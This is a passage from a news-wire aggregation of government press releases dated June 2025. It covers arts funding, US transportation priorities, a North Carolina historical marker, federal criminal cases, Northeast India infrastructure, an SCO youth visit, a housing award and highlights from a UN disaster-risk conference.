« Nous saluons le renouvellement de ce financement ainsi que l’augmentation accordée, affirme Anne Brochu Lambert, présidente du CCF. Cet appui s’inscrit dans la continuité. C’est une reconnaissance de la valeur des jalons posés l’an dernier et de l’importance de soutenir le développement professionnel de nos artistes sur le long terme. »

Pour en apprendre davantage sur les programmes et les événements du CCF, visitez le www.culturel.ca.

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Pour plus d’information, contactez :

PCS Media
Ministère des Parcs, de la Culture et du Sport
Regina
Téléphone : 306-798-1020
Courriel : pcsmedia@gov.sk.ca

MIL OSI Canada News –
June 7, 2025
MIL-OSI USA: Congressman David Scott Announces Key Priorities for Georgia’s 13th District in the 2026 Surface Transportation Reauthorization Bill

Source: United States House of Representatives – Congressman David Scott (GA-13)

WASHINGTON D.C. – Today, Congressman David Scott (GA-13), a senior member of the House Agriculture and House Financial Services Committees, announced a list of legislative priorities in the upcoming Surface Transportation Reauthorization bill. These program requests will help create good-paying jobs for residents and businesses in the 13^th district and rebuild Georgia’s roads, bridges, and transit infrastructure.

“In every vote I cast and every bill I fight for, I remain focused on prioritizing the people I represent in the 13^th District,” said Congressman David Scott. “This year’s Surface Transportation Reauthorization bill provides us with an opportunity to build on the success of House Democrats’ landmark 2021 Bipartisan Infrastructure bill, which I proudly voted for. The priorities I have requested in this reauthorization will improve public transportation services across the Atlanta metro area. These programs will protect the architectural integrity of our roads, reduce roadway deaths, protect small businesses impacted by transportation construction, and create good paying jobs. I look forward to working closely with the House Committee on Transportation and Infrastructure to move these priorities across the finish line.”

Reauthorization of surface transportation programs is the process by which Congress renews, revises, and funds major federal transportation programs that support highways, public transit, rail, and safety initiatives. Grants provide funding directly to states, local governmental entities, and regional commissions to improve Georgia’s transportation infrastructure. Reauthorization ensures continuity, funding, and policy direction of core federal transportation programs.

Below are summaries of the surface transportation programs Congressman David Scott requested in 2026:

1.       Department of Transportation Wide: Increasing the federal cost-share match for transportation projects from 80% to 90% to allow local entities to more easily complete infrastructure projects. (Atlanta Regional Commission)

2.      Department of Transportation Wide: Develop a voluntary centralized product registry to help localities meet existing “Build America, Buy America” requirements. (Atlanta Regional Commission)

3.      Federal Highway Administration: Requesting to maintain the 80,000-pound weight limit for trucks on roadways to protect the structural integrity of our roads. (GA-13 Elected Officials)

4.      Federal Highway Administration: Increasing the percentage of the Surface Transportation Block Grant (STBG) provided based on population to bring more federal grant funding to the metro Atlanta area. (Atlanta Regional Commission)

5.      Federal Railroad Administration, Amtrak, and Federal Transit Administration: Building upon the Infrastructure Investments and Jobs Act by increasing the total public transit and passenger rail investment in the 2026 reauthorization to help transit authorities increase and expand services. (MARTA)

6.      Federal Transit Administration: Request to streamline the approval process for capital projects so that local transit authorities like the Metropolitan Atlanta Rapid Transit Authority (MARTA) can more quickly extend bus routes across the metro Atlanta region. (MARTA)

7.      Federal Highway Administration: Reauthorizing the Safe Streets for All Program (SS4A), which helps local governments create plans and infrastructure to reduce roadway deaths. (League of American Cyclists)

8.     Department of Transportation Wide: Reauthorize the Disadvantaged Business Enterprise (DBE) Program, to remove barriers for minority- and women-owned businesses in securing contracts with the Department of Transportation. (Congressional Black Caucus)

9.      Department of Transportation Wide: Codifying the definition of “labor organization” in infrastructure projects to increase good-paying, union jobs for federal transportation programs. (Transport Workers Union of America)

10. Federal Transit Administration: Incentivizing transit projects to prioritize the needs and concerns of small businesses impacted by transit construction. (MARTA)

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MIL OSI USA News –

June 7, 2025
MIL-OSI USA: First Farm-Life School to be Featured on N.C. Highway Historical Marker

Source: US State of North Carolina

Headline: First Farm-Life School to be Featured on N.C. Highway Historical Marker

First Farm-Life School to be Featured on N.C. Highway Historical Marker
jejohnson6
Fri, 06/06/2025 – 10:08

Schools built in the early 20th century to provide education in rural areas of the state soon will be recognized with a North Carolina Highway Historical Marker. The N.C. Historical Marker Program is part of the N.C. Department of Natural and Cultural Resources.

The marker commemorating Craven County Farm Life School, the first farm life school, will be dedicated at the intersection of U.S. Hwy 17 and Farm Life Avenue in Vanceboro, N.C. on Thursday, June 12 at 4 p.m.

Authorized in 1911 by a General Assembly appropriation, farm life schools were promoted by state superintendent J.Y. Joyner and various farm groups. These schools were required to offer a standard high school education in addition to classes and practical experience in vocational agriculture and home economics.

If a local governmental unit provided facilities (including dormitories for boys and girls) for $25,000 and then pledged $2,500 for operating expenses each year, the state would match the latter amount. Almost immediately, five counties took advantage of the offer, and by 1916, 21 farm-life schools were in operation.

Craven County Farm Life School opened on Nov. 4, 1913, with an on-site celebration and 30 enrolled students.

A second school — Rowan Farm-Life School in China Grove — opened in 1914 and was such a success that in 1921 the regular China Grove High School merged with it and shared the farm campus.

In Nash County, local farmer Tom Jones donated 25 acres of land, and the community voted for an additional $10,000 in bonds for buildings for the Red Oak Farm-Life High School.

Students within walking or horse-riding distances paid no tuition, but boarding students paid $12.50 per month. The boys cut wood for fires, and the girls cooked and waited on tables. Crop rotation, contour plowing, selection of nutritious foods, and improved homemaking practices were emphasized along with the academic curriculum.

For more information about the historical marker, please visit https://www.dncr.nc.gov/blog/2024/08/09/farm-life-schools-c-89, or call (919) 814-6625

The Highway Historical Marker Program is a collaboration between the N.C. departments of Natural and Cultural Resources and Transportation.

About the North Carolina Department of Natural and Cultural Resources
The N.C. Department of Natural and Cultural Resources (DNCR) manages, promotes, and enhances the things that people love about North Carolina – its diverse arts and culture, rich history, and spectacular natural areas. Through its programs, the department enhances education, stimulates economic development, improves public health, expands accessibility, and strengthens community resiliency.

The department manages over 100 locations across the state, including 27 historic sites, seven history museums, two art museums, five science museums, four aquariums, 35 state parks, four recreation areas, dozens of state trails and natural areas, the North Carolina Zoo, the State Library, the State Archives, the N.C. Arts Council, the African American Heritage Commission, the American Indian Heritage Commission, the State Historic Preservation Office, the Office of State Archaeology, the Highway Historical Markers program, the N.C. Land and Water Fund, and the Natural Heritage Program. For more information, please visit www.dncr.nc.gov.

Jun 5, 2025

MIL OSI USA News –

June 7, 2025
MIL-OSI Security: Shiprock Man Charged with Unlawfully Possessing a Firearm

Source: Office of United States Attorneys

ALBUQUERQUE – A Shiprock man was charged by indictment with being a convicted felon in possession of a firearm.

According to court documents, in the morning hours of May 15, 2025, Jay Ray Kelly, 39, an enrolled member of the Navajo Nation, was seen walking in Shiprock, firing a handgun into the air. Concerned citizens called police. Later that morning, police arrested Kelly with a handgun and 155 rounds of ammunition in a backpack.

Kelly is charged federally with unlawfully possessing a firearm and ammunition. In 2006, Kelly was convicted in the District of New Mexico for possessing a firearm in a school zone. Because of this 2006 federal felony conviction, Kelly was prohibited from possessing all firearms and ammunition.

U.S. Attorney Ryan Ellison and Philip Russell, Acting Special Agent in Charge of the Federal Bureau of Investigation’s Albuquerque Field Office made the announcement today.

The Farmington Resident Agency of the Federal Bureau of Investigation’s Albuquerque Field Office investigated this case with assistance from the Navajo Nation Police Department and Navajo Department of Criminal Investigations. Assistant U.S. Attorney Zachary C. Jones is prosecuting the case.

An indictment is merely an allegation. All defendants are presumed innocent until proven guilty beyond a reasonable doubt in a court of law.

MIL Security OSI –

June 7, 2025
MIL-OSI Security: Sanostee Man Pleads Guilty to Assault Charges

Source: Office of United States Attorneys

ALBUQUERQUE – A Sanostee man pleaded guilty to a violent assault that left a woman seriously injured.

According to court records, Nathan Mescale, 36, and enrolled member of the Navajo Nation, admitted that on December 2 and December 3, 2023, he assaulted Jane Doe, and the assault caused her serious bodily injury.

At sentencing, Mescale faces a maximum of 10 years in prison. Upon his release from prison, Mescale will be subject to up to three years of supervised release.

U.S. Attorney Ryan Ellison and Philip Russell, Acting Special Agent in Charge of the Federal Bureau of Investigation’s Albuquerque Field Office, made the announcement today.

The Farmington Resident Agency of the FBI Albuquerque Field Office investigated this case with the assistance of the Navajo Police Department and Department of Criminal Investigations. Assistant U.S. Attorney Mia Ulibarri-Rubin is prosecuting the case.

MIL Security OSI –

June 7, 2025
Northeast India poised for economic surge with robust infrastructure and investment

Source: Government of India

Source: Government of India (4)

Northeast India is rapidly emerging as a powerhouse of economic growth and connectivity, driven by transformative infrastructure projects and strategic investments, according to a recent Press Information Bureau release. Under the leadership of the Ministry of Development of North Eastern Region (MDoNER) and guided by Prime Minister Narendra Modi’s “Act East” policy and “Transformation by Transportation” vision, the region is shedding its historical isolation to become a beacon of inclusive development.

Significant budgetary allocations have fueled infrastructure advancements, addressing long-standing gaps in connectivity. The North East Special Infrastructure Development Scheme (NESIDS), restructured in 2022-23 and extended until 2026, has supported projects in roads, power, water supply, and other critical sectors. The Prime Minister’s Development Initiative for North East Region (PM-DevINE), launched in 2022 with a Rs 6,600 crore outlay, is driving sustainable development aligned with PM GatiShakti, focusing on infrastructure, social development, and livelihood opportunities for youth and women.

Iconic projects like the Bogibeel Bridge, inaugurated in 2018, and the development of 10 greenfield airports over the past 11 years have revolutionized connectivity, boosting tourism in the region. The introduction of Roll-on Roll-off (Ro-Ro) waterway services on the Brahmaputra River, connecting Dhubri, Hathsingimari, and Guwahati, has enhanced logistics efficiency. A Rs 4,136 crore scheme approved in August 2024 for hydroelectric projects will support 15,000 MW of capacity by 2031-32, funded through the Ministry of Power’s Gross Budgetary Support.

Economic development has been a key focus, with 974 industrial units registered under NESIDS and Rs 1,010.99 crore disbursed for developmental packages by March 31, 2025, including Rs 400 crore in 2024-25. The Rising North East Investors Summit, held on May 23-24, 2025, drew Rs 4.3 lakh crore in investment interest from over 80 countries, positioning the region as India’s next economic hub. The summit highlighted a decade-long investment of Rs 21,000 crore in the Northeast’s education sector. Additionally, 126 Externally Aided Projects worth Rs 1,35,487.85 crore have been supported since 2017, further catalyzing growth.

The agricultural sector is thriving, with the region poised to lead India’s edible oil production and organic farming. The North Eastern Regional Agricultural Marketing Corporation Limited (NERAMAC) has expanded its product range from 38 to 78, introducing innovative items like Organic Tea Box and Sumac Berry Powder. The Van Dhan Vikas Yojana has empowered 3.3 lakh tribal gatherers through 19,155 self-help groups, while 434 Farmer Producer Companies have benefited 2.19 lakh farmers across 1.73 lakh hectares. The agarwood sector has seen a six-fold increase in export quotas, with simplified processes enhancing value chain development in Assam and Tripura.

June 7, 2025
MIL-OSI Russia: SCO Youth Representatives Visit Yucun Village in Zhejiang Province

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

HANGZHOU, June 6 (Xinhua) — Young representatives of the Shanghai Cooperation Organization (SCO) countries visited Yucun Village in Anji County, east China’s Zhejiang Province, on Wednesday.

This small mountain village, widely known for its concept of “emerald waters and green mountains are priceless treasures”, is now becoming an important window for the exchange of eco-civilization construction experiences between China and foreign countries.

Young representatives of political, academic and media circles from Belarus, Uzbekistan, Kyrgyzstan, Pakistan and other countries gathered together to participate in the event organized by the Chinese People’s Association for Friendship with Foreign Countries (CPAF) and entitled “Exploring the Path of Common Prosperity”.

At the entrance to Yucun Village, they stopped to capture the clean, quiet streets and picturesquely located rural houses.

Yucun used to live off stone mining, which led to the exposure of the mountain slopes and soil erosion. Guided by the concept of “emerald waters and green mountains are priceless treasures,” the villagers voluntarily abandoned the old way of “digging mountains and selling stone” and embarked on a new path that prioritizes ecology and green development.

Since 2005, Yucun has been actively developing new forms of economy such as rural tourism and creative agriculture.

In 2024, the total operating income of the village reached 11.316 million yuan. Anji County also established a county-level platform for purchasing and trading bamboo forest carbon credits, which increased the annual trading volume of carbon credits to 350 thousand tons, bringing long-term benefits to farmers.

The guide, using an old photograph and a new panorama of the village as a basis, told the young guests in detail about the path of transformation of the village. At the foot of the green mountains, surrounded by greenery, the youth listened, asked questions, trying to catch the pulse of green development.

“This path has similarities with the development of some mountainous areas in our country,” said the young man from Uzbekistan. In recent years, Uzbekistan has also been exploring new models for integrating ecotourism and traditional agriculture, and Yucun’s experience here could not have come at a better time.

Entering the Anji County Exhibition Center of “Replacing Plastic with Bamboo”, young people looked closely at the exquisite bamboo products: disposable straws, biodegradable chopsticks, bamboo fiber clothing… Everywhere, greenery and ingenious design made people linger, tradition intertwined with modernity, and the green concept organically intertwined with daily life.

The delegation also visited green industry projects such as local guest houses, residential complexes for young highly qualified personnel, and a tourist center.

In recent years, China’s cooperation with SCO countries in areas such as ecological agriculture, clean energy and environmental management has been expanding. From green industry to green finance, from environmental training to policy dialogue, “green” has become an important link in the exchange of experience and mutual learning between China and other countries. -0-

MIL OSI Russia News –

June 7, 2025
MIL-OSI USA: Congressman Cleaver Awarded 2025 Shirley Chisholm Award for Housing by National Urban League

Source: United States House of Representatives – Congressman Emanuel Cleaver II (5th District Missouri)

Rep. Cleaver, Ranking Member of the Financial Services Subcommittee on Housing and Insurance, accepted the award after decades of work to expand access to safe, decent, and affordable housing

(Washington, D.C.) – U.S. Representative Emanuel Cleaver has been awarded the 2025 Shirley Chisholm Award for Housing by the National Urban League, given to a lawmaker whose commitment and work has expanded access to fair and affordable housing in the United States. In a ceremony this month, Cleaver accepted the prestigious award from National Urban League President and CEO Marc Morial at the organization’s 2025 Empowerment Summit in Washington, DC. The National Urban League is the nation’s largest historic civil rights and urban advocacy organization.

“Since my first days on the City Council in Kansas City, my strongest passion and highest priority has been the work to expand housing opportunity for everyday families,” said Congressman Cleaver. “I understand what it means to live in a shack with no electricity or running water, and I know firsthand the challenges that come with America’s underinvestment in housing that is truly accessible and affordable, which is why I’ve spent my career working to protect and strengthen housing programs that serve low- and middle-income families of all backgrounds. To receive this award, named in honor of the great civil rights champion Shirley Chisholm, is extraordinarily meaningful to me. Just as her work helped pave the way for families like mine to rise out of poverty, I hope the work I’ve done in Kansas City and Washington will continue to change the trajectory of families who are every bit as deserving of the American dream.”

Since coming to Washington, Congressman Cleaver has fought tirelessly to bring housing investments to Missouri’s Fifth Congressional District and passed multiple bipartisan overhauls of America’s federal housing programs.

The Global Financial Crisis of 2008 destroyed trillions in home equity and over half the wealth of the African American households in the United States. As a new member on the House Financial Services Committee, Congressman Cleaver was instrumental in national recovery efforts through the American Recovery and Reinvestment Act of 2009, including the creation of the Neighborhood Stabilization Program, which helped stabilize the housing market in Missouri’s Fifth Congressional District, and the Green Impact Zone, which targeted more than $125 million of federal investment into the urban core in Kansas City, MO.

Following the crisis, Congressman Cleaver worked on the passage of the Dodd-Frank Wall Street Reform and Consumer Protection Act, which included, but was not limited to, the creation of the Consumer Protection Financial Bureau (CFPB), tasked with protecting consumers from unfair, deceptive, or abusive financial practices, including predatory mortgage lending.

In the 115^th Congress, Cleaver was elected by his colleagues to serve as the head Democrat on the House Financial Services Subcommittee on Housing and Insurance. As Ranking Member, Cleaver teamed up with then-Chairman Blaine Luetkemeyer (R-MO) to co-author the Housing Opportunity Through Modernization Act (HOTMA), which introduced a massive set of changes and reforms to federal housing programs. The most sweeping housing bill in 20 years, HOTMA was passed with unanimous support by Congress and was signed into law by President Obama.

The following Congress, Rep. Cleaver introduced the Housing Choice Voucher Mobility Demonstration Act with Congressman Sean Duffy (R-WI) to help low-income families who rely on housing vouchers to move out of poverty and into neighborhoods with better opportunities. The legislation was passed with bipartisan support by Congress and signed into law by President Trump.

In the 117^th Congress, Cleaver was elected by his colleagues to serve as Chairman of the Subcommittee on Housing, Community Development, and Insurance during the COVID-19 eviction and foreclosure crisis. In that capacity, Chairman Cleaver helped lead the effort to pass legislation providing federal funds to address housing and homelessness including the American Rescue Plan Act (ARPA), which represented the largest single-year investment in preventing and ending homelessness in U.S. history. Through ARPA and other appropriations, Cleaver helped secure more than $46.6 billion in emergency rental assistance and more than $10 billion for the Homeowner Assistance Fund to ensure that families could remain safely housed. Cleaver also helped secure more than $5 billion in homelessness funds through ARPA which included, for the first time in the nation’s history, Emergency Housing Vouchers for families experiencing or at risk of homelessness. Cleaver’s Stabilizing Rural Homeowners During COVID Act, which provided desperately needed assistance to families living in US Department of Agriculture-supported housing was also signed into law.

Cleaver also worked with the Biden Administration on key initiatives of the Administration to expand access to fair and affordable housing. In April 2021, Cleaver introduced the Real Estate Valuation Fairness and Improvement Act to address bias in home valuations. Cleaver’s legislation served as the framework for the Biden Administration’s Interagency Task Force on Property Appraisal and Valuation Equity (PAVE Task Force), the first-ever interagency effort to combat discrimination in the home appraisal process. In 2022, the Task Force released the PAVE Action Plan, and the Biden Administration announced the most wide-ranging actions ever taken to advance equity in the home appraisal process.

Cleaver also invited several members of the Biden Administration to Missouri’s Fifth Congressional District to discuss housing and other federal investments, including discussions related to Parade Park Homes. Since 2022, Cleaver has worked with US Department of Housing and Urban Development (HUD) Secretary Fudge, HUD Acting Secretary Todman, HUD officials, and local officials to stabilize the property and chart a path forward to ensure the health of residents and the community. Earlier this year, Congressman Cleaver successfully secured $15.5 million in federal grant funding to support the rehabilitation of Parade Park Home, the oldest Black-owned housing cooperative in the nation, with more than 500 affordable housing units in the heart of the 18^th & Vine Jazz District.

Last Congress, Cleaver invited Federal Housing Finance Agency (FHFA) Director Sandra Thompson to Missouri’s Fifth Congressional District for a convening between the FHFA, Fannie Mae, Freddie Mac, tenant advocates, and community leaders for in-depth discussions on issues impacting tenants in federally backed properties. Following the convening, the FHFA accepted Cleaver’s call to adopt the first-ever tenant protections for renters in multifamily properties with Enterprise-backed mortgages. Participants also heard reports of unacceptable living conditions at Independence Towers and shortly thereafter, Cleaver secured $1,350,000 from Fannie Mae to address desperately needed repairs at the apartment complex.

Cleaver has received several awards for his work on housing, including reception of the inaugural Terwilliger Bipartisanship in Housing Award from the Bipartisan Policy Center last year. The award recognized Cleaver’s long-standing leadership and bipartisan work on housing, including on bipartisan legislation such as the Choice in Affordable Housing Act and the Rural Housing Service Reform Act. The 2025 Shirley Chisholm Award for Housing is further recognition of Cleaver’s commitment and longstanding work.

“In my view, access to affordable housing has the potential to open doors and unlock opportunities that allow entire families to climb the economic ladder—just like it did for mine,” said Congressman Cleaver. “I’m proud of the work I’ve done on this issue since my first days on the City Council, and I look forward to continuing this work on behalf of Missouri families in the years to come.”

Emanuel Cleaver, II is the U.S. Representative for Missouri’s Fifth Congressional District, which includes Kansas City, Independence, Lee’s Summit, Raytown, Grandview, Sugar Creek, Greenwood, Blue Springs, North Kansas City, Gladstone, and Claycomo. He is a member of the exclusive House Financial Services Committee and Ranking Member of the House Subcommittee on Housing and Insurance.

MIL OSI USA News –

June 7, 2025
MIL-OSI United Nations: GPDRR 2025 highlights: Thursday 5 June 2025

Source: UNISDR Disaster Risk Reduction

This report is provided by Earth Negotiations Bulletin/International Institute for Sustainable Development. View the original report here.

Finance is critical to implementation of the Sendai Framework on Disaster Risk Reduction (DRR), but investments have not kept pace with rising demands, and aid budgets are shrinking worldwide. In many sessions through the day, delegates focused attention on financing a wide range of needs, including school safety, measures to deal with extreme heat, and nature-based solutions (NbS).

High-level dialogue

What will it take to scale DRR financing solutions at the national and local level?

Journalist Mayowa Adegoke moderated the session.

Stine Renate Håheim, State Secretary to Minister of International Development, Norway, emphasized DRR financing as a high priority, saying, “it is better to prevent than repair afterwards.” She noted that one in three people globally-most in cities or highly vulnerable areas-are not covered by Early Warning Systems (EWS).

Hans Sy, CEO, SM Prime Holdings, explained his company’s investment in resilient building construction, such as building on concrete pillars to allow free flow of floodwaters. He stressed that risk-informed decisions based on science and technology “makes good business sense.”

Fatima Yasmin, Asian Development Bank (ADB), said the Bank regards DRR as a critical priority investment, particularly through supporting policy making, planning, advising on innovative investments, and incentivizing preparedness. On scaling DRR investments, she said financing should be fast, flexible and forward-looking.

Rob Wesseling, CEO, Co-operators Group, said no path to net zero emissions is possible without investment in both prevention and recovery. He encouraged governments to utilize the risk information gathered by insurance companies over decades to assist with decision making.

On mobilizing private sector investment, Velenkosini Fiki Hlabisa, Minister of Cooperative Governance and Traditional Affairs, South Africa, stressed that every cent invested in resilience and preparedness saves lives and livelihoods.

View of the panel during the Multi-Stakeholder Plenary. Source: IISD/ENB | Anastasia Rodopoulou.

Ministerial roundtable

Inclusive comprehensive school safety-strengthening resilience for children and youth in all hazards

The event, which convened 36 ministries, was co-chaired by Kamal Kishore, Special Representative of the UN Secretary General for Disaster Risk Reduction and Head, UNDRR, and Paul Steffen, Deputy Director, Federal Office for the Environment, Switzerland.

In opening remarks, Kishore encouraged delegates to endorse the Comprehensive School Safety Framework 2017 (CSSF), noting only 80 countries have done so, and for countries to make schools heat-resilient.

On school safety policies, Tunisia, Zimbabwe, Mongolia, Pakistan, and Saint Lucia recognized the CSSF. Portugal highlighted its DRR working group on children and youth. Brunei Darussalam, Kenya, and Portugal recognized the fundamental rights of children to safe school environments. Colombia highlighted its Law on Teaching for Sustainability, Climate Change, and Disaster Risk Management. Republic of Korea described its 2020 Child Safety Management Act.

Many countries identified education programming as fundamental to reducing risk and developing children as agents of change in their homes and communities. Malaysia, Uganda, Russia, Algeria and others described homegrown examples of such programmes, for example, student leadership groups and First Aid skills training.

Leaders from around the globe express their shared commitment to making schools safer and more resilient to disasters. Source: IISD/ENB | Anastasia Rodopoulou.

Several countries, including Greece, Kenya and Cuba, recognized the importance of social support to children experiencing disaster and loss, and the ensuing mental and emotional health impacts. The Holy See flagged the need for spiritual care of those “who have seen whole lives swept away.”

Most countries discussed sustainable and resilient school infrastructure, including standards for new or retrofitted buildings. Belgium, Republic of Moldova, and Singapore highlighted energy efficiency and climate resilience. On heat stress in schools, Singapore flagged cooling strategies and energy-efficient fans. Tunisia described its sustainable school network that integrates climate change, disaster risk, and biodiversity objectives. Spain said new schools need to be “climate shelters.” Bangladesh noted the construction of more than 5,000 cyclone-resistant schools.

Multistakeholder plenary

Investments in reducing risk and building resilience to accelerate investments in sustainable development

Kishore introduced the session, which was co-chaired by Paul Steffen, Federal Office for the Environment, Switzerland, and Paola Albrito, UNDRR. Kishore noted less than 1% of national budgets is allocated to DRR.

Countries presented their national commitments, such as Australia’s Disaster-Ready Fund, which is providing up to AUD 1 billion (USD 648 million) over five years for locally-identified needs, and Switzerland’s DRR commitment of more than CHF 2 billion (USD 2.5 billion) annually. Many expressed appreciation for international support, including for Moldova’s local adaptation plans in 38 communities, and Samoa’s community-based disaster risk management activities. Peru highlighted its introduction of budget flexibility for regional and local authorities, enabling rapid response to imminent hazards.

The Food and Agriculture Organization of the UN (FAO) reported that only 3% of all development assistance is allocated to agricultural DRR measures, even while these deliver significant returns in ensuring food security. Swiss Re highlighted the role of insurance in informing risk and mitigation measures, noting the availaility of parametric insurance, for example, against extreme heat events and flooding. The Resilience Action Fund showcased the work of the International Finance Corporation in developing the Building Resilience Index as a world-first metric for assessing the safety and risk of buildings for insurers and construction developers. The Latin America and the Caribbean Development Bank (CAF), India, and the UK welcomed innovative initiatives, such as a new center on extreme events, establishment of risk pools, and the use of AI to identify flood threats.

Delegates affirmed regional solidarity, demonstrated in Tunisia’s hosting of the Africa-Arab Platform for DRR in 2023, and Iran’s hosting of three regional organizations, including a Regional Center for Urban Water Management. Albania welcomed its responsibilities under the EU Civil Protection Code for cooperation among EU countries and other partners, which, he noted, enables access to advanced DRR solutions.

The International Organization for Migration highlighted its 2024 launch of Climate Mobility Innovation Labs for the Africa and Asia regions to develop solutions to climate-related mobility.

Steffen urged all present to accelerate investment in DRR, and to engage the private sector as key partners.

Ministerial Roundtable. Source: IISD/ENB | Anastasia Rodopoulou.

Special event on extreme heat

Moderator, Juli Trtanj, Co-Chair, Gobal Heat Health Information Network, opened the session. Celeste Saulo, Secretary-General, World Meteorological Organization (WMO), called heat a “silent killer” because it is the least managed of all climate hazards. She said 50% of countries have heat warning systems in place but only 26 have dedicated Heat Health EWS. She identified three priorities: integrating heat risk into climate and DRR governance, heat EWS, and implementation using risk information and data.

In his keynote, Pramod Kumar Mishra, Principal Secretary to the Prime Minister, India, said heat threatened public health, economic stability, and the ecological resilience of cities and communities. He underscored UNDRR’s Common Framework on Extreme Heat Risk Governance and drew attention to India’s national guidelines on heat wave management, which decentralized more than 250 heat action plans in 23 states. He called for scaling hospital and primary health care preparedness and resilience and noted India is adopting a long-term heat wave mitigation strategy, including roof-cooling technologies, passive cooling centers, revival of traditional water bodies, and improved thermal comfort and livability of informal settlements.

In a panel discussion, Benoît Faraco, Ambassador, Climate Negotiations for Decarbonized Energies and for the Prevention of Climate Risks, France, urged being modest since we are still discovering impacts and avoiding maladaptation. Ousmane Ndiaye, Director General, African Center for Meteorological Application for Development, stressed the links between heat waves, energy crises, and health care demand. Rosa Galvez, Senator, Canada, spoke about lived experience saying, “We cannot adapt forever – we must work on the causes.” Jagan Chapagain, Secretary-General, International Federation of the Red Cross and Red Crescent Societies (IFRC), said extreme heat is a humanitarian crisis. On involving the financial sector, Mia Seppo, Assistant Director General, International Labour Organization, discussed climate risk insurance, just transition principles, and access to essential services. Mishra advised that industry protect labor from heat risk.

Source: IISD/ENB | Anastasia Rodopoulou.

Special session

Comprehensive approaches to reduce loss and damage-bridging climate action and DRR

Fatou Jeng, Former Climate Advisor to the UN Secretary-General and Member of the Early Warnings for All Advisory Panel, moderated the session.

Ralph Regenvanu, Minister for Climate Change, Adaptation, Meteorology and Geo Hazards, Energy, Environment and Disaster Management, Vanuatu, appreciated the support from the Fund for responding to Loss and Damage (FRLD) and the Santiago Network, which combined forces to launch the inaugural integrated loss and damage and DRR initiative in Vanuatu.

Kishore noted that, while many DRR practices are now in place, these need to be updated to deal with climate system changes and the associated risks, uncertainty, and volatility.

Benoît Faraco, argued that the distinction between loss and damage, and DRR, is theoretical, and remains irrelevant to people on the ground who want response, prevention, action, and solidarity to alleviate their situation.

Ibrahima Cheikh Diong, Executive Director, FRLD, emphasized the need to look at how interventions can be most impactful, stressing that solutions must be country-led, and recognize Indigenous groups and civil society participants. He expressed awareness that the FRLD must be “nimble, accessible, flexible and built on partnerships, always ensuring no one is left behind.”

Carolina Fuentes Castellanos, Director, Santiago Network Secretariat, elaborated on how the network is supporting countries to accelerate loss and damage, using Vanuatu’s experience to demonstrate how the Network can accelerate fund distribution and support with bold and transformative support.

Jagan Chapagain, Secretary-General, IFRC, cautioned that the terms loss and damage represent different meanings to communities, but the bottom line is to ensure the funds really reach the local level.

Thematic Sessions

Catalyzing governance solutions for disaster and climate-related displacement

Irwin Loy, The New Humanitarian, moderated this session.

John Mussington, activist and displaced person, Antigua & Barbuda, described his work of founding the community network, Stronger Caribbean Together, with others displaced by “disaster capitalism”, as storm-damaged sites are cleared for tourism development.

Sakiasi Ditoka, Minister of Rural and Maritime Development and Disaster Management, Fiji, highlighted the 2023 Pacific Regional Mobility Framework and Fiji’s own planned relocation guidelines.

Zahra Abdi Mohamed, Director-General, National Center for Rural Development and Durable Solutions, Somalia, described Somalia’s National Transformation Plan that prioritizes anticipatory action and climate-smart livelihoods, responding to the needs of long-term displaced communities.

Fatimah Zannah Mustapha, community representative, Nigeria, called for centering the voices of local women in decision making by removing barriers, “whether digital, linguistic, or cultural.” Claudinne Ogaldes Cruz, Executive Secretary, National Coordinator for Disaster Reduction (CONRED), Guatemala, noted that many Guatemalan households are women-led and have the knowledge to inform decision making.

Robert Piper, former UN Secretary-General’s Advisor on Solutions to Internal Displacement, said line ministries responsible for decisions on land use and building codes-“those who are responsible for dealing with the failure to prevent”-must become deeply involved in the governance of disaster displacement.

Leveraging Values of Nature for Resilience: Moderated by Cecilia Aipira, United Nations Environment Programme (UNEP), the session addressed the role of nature-based solutions (NbS) in DRR.

In his keynote, Mohammed-Yahya Lafdal, General Director, National Environment and Coastline Observatory, Mauritania, highlighted the increase in tree cover through reforestation and restoration, taking into account Indigenous knowledge and solutions, and the development of barrier systems for water distribution and management in desert areas. He emphasized how addressing land degradation and rehabilitation has been Mauritania’s best solution for increasing resilience.

Rodrigo Hernández Escobar, Representative of the Latin American and Caribbean Indigenous Knowledge & DRR Network, highlighted political will and respect for Indigenous cosmovision and territories as key elements for leveraging traditional knowledge into programmes supporting NbS. Isaac Luwaga Mugumbule, Head of Landscaping, Kampala Capital City Authority, Uganda, stated that NbS are context-specific and require community involvement to be sustained.

Professor Satoru Nishikawa, Japan International Cooperation Agency (JICA), stressed the need for scientific numerical quantification, analysis, and testing on the strengths and durability of NbS. Swenja Surminski, London School of Economics, noting that NbS “are not silver bullets,” stressed the need to work with nature, drawing attention to NbS co-benefits. Oliver Schelske, Swiss Re Institute, noting the absence of standardized values for nature, emphasized that even if “not everything is insurable,” investing in nature makes sense from an insurance perspective, as it reduces risks to the asset being insured.

On the prerequisites for NbS to be viable, speakers mentioned common sense, co-benefit considerations, identifying the number of protected lives, and conducting independent auditing.

Thematic Sessions as visual summaries capturing key messages and insights. Source: IISD/ENB | Anastasia Rodopoulou.

Side event

Inclusive comprehensive school safety—Strengthening resilience for children and youth in all hazards

This side event, organized and facilitated by the Global Alliance for Disaster Risk Reduction and Resilience in the Education Sector (GADRRRES), showcased school safety and resilience programmes from Central Asia, the Pacific region and the Caribbean.

Anja Nielsen, Co-Chair, GADRRRES, gave an overview of CSSF, noting the all-hazards, all-risks approach that includes environmental, climate change, and biological health risks, technical threats, and other everyday risks. She elaborated on the global school safety survey, representing 350 million school-aged children, and highlighted, among other concerns, that significant infrastructure investment is needed to better protect children and teachers from natural hazards, with most suffering from funding constraints.

Education administrators from Saint Lucia, Tonga, and Kyrgyzstan described CSSF activities and outcomes from their regions, and emphasized: involving the children actively in school safety is a game changer; collaboration is the essence of resilience, requiring whole-of-government and whole-of-society approaches; and building capacity at all levels, particularly teachers, for comprehensive school safety is key.

IISD’s summary

The summary report of the meeting will be available on Monday, 9 June 2025, here.

MIL OSI United Nations News –

June 6, 2025
MIL-OSI United Nations: Recognizing inspirational innovation that improves resilience for the most vulnerable – The 2025 Sasakawa Award
Source: UNISDR Disaster Risk Reduction

The 2025 Sasakawa Award winners are Dr. Mrutyunjay Mohapatra, from the India Meteorological Department, and Dr. Harkunti Rahayu, from the Indonesian Disaster Expert Association, both in the individual category; and the Global Network of Civil Society Organisations for Disaster (GNDR), in the organizational category.

